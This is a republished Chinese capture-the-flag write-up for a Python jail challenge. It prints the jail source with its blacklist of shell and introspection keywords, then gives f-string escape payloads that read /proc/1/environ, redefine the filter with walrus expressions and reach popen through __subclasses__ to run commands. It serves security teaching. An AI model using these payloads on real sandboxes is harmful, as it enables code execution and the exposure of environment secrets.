Python Version:python3
.10
Source Code:
import
code, os, subprocess
import
pty
def
blacklist_fun_callback
(*args)
:
print(
"Player! It's already banned!"
)
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec
= blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
del
os, subprocess, code, pty, blacklist_fun_callback
input_code = input(
"Can u input your code to escape > "
)
blacklist_words = [
"subprocess"
,
"os"
,
"code"
,
"interact"
,
"pty"
,
"pdb"
,
"platform"
,
"importlib"
,
"timeit"
,
"imp"
,
"commands"
,
"popen"
,
"load_module"
,
"spawn"
,
"system"
,
"/bin/sh"
,
"/bin/bash"
,
"flag"
,
"eval"
,
"exec"
,
"compile"
,
"input"
,
"vars"
,
"attr"
,
"dir"
,
"getattr"
"__import__"
,
"__builtins__"
,
"__getattribute__"
,
"__class__"
,
"__base__"
,
"__subclasses__"
,
"__getitem__"
,
"__self__"
,
"__globals__"
,
"__init__"
,
"__name__"
,
"__dict__"
,
"._module"
,
"builtins"
,
"breakpoint"
,
"import"
,
]
def
my_filter
(input_code)
:
for
x
in
blacklist_words:
if
x
in
input_code:
return
False
return
True
while
'{'
in
input_code
and
'}'
in
input_code
and
input_code.isascii()
and
my_filter(input_code)
and
"eval"
not
in
input_code
and
len(input_code) <
65
:
input_code = eval(
f"f'
{input_code}
'"
)
else
:
print(
"Player! Please obey the filter rules which I set!"
)
'{'
in
input_code
and
'}'
in
input_code
and
input_code.isascii()
and
my_filter(input_code)
and
"eval"
not
in
input_code
and
len(input_code) <
65
输入的内容需要包含{},不能存在my_filter内的内容,长度还需小于65。
{
print
(open(
"/proc/1/environ"
).
read
())}
使用海象表达式替换掉my_filter函数,input函数绕过长度限制。
{(my_filter:=str,1)[1]}{{inpu{chr(116)}()}}
获取所有子类:
{print([].__class__.__base__.__subclasses__())}
{(my_filter:=len,len:=any,1)[2]}{{{chr(105)}nput()}}
使用popen执行env命令:
{print([
].
__class__
.
__base__
.
__subclasses__
()[
-1
](
"env"
))}
原文始发于微信公众号(皓月的笔记本):【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论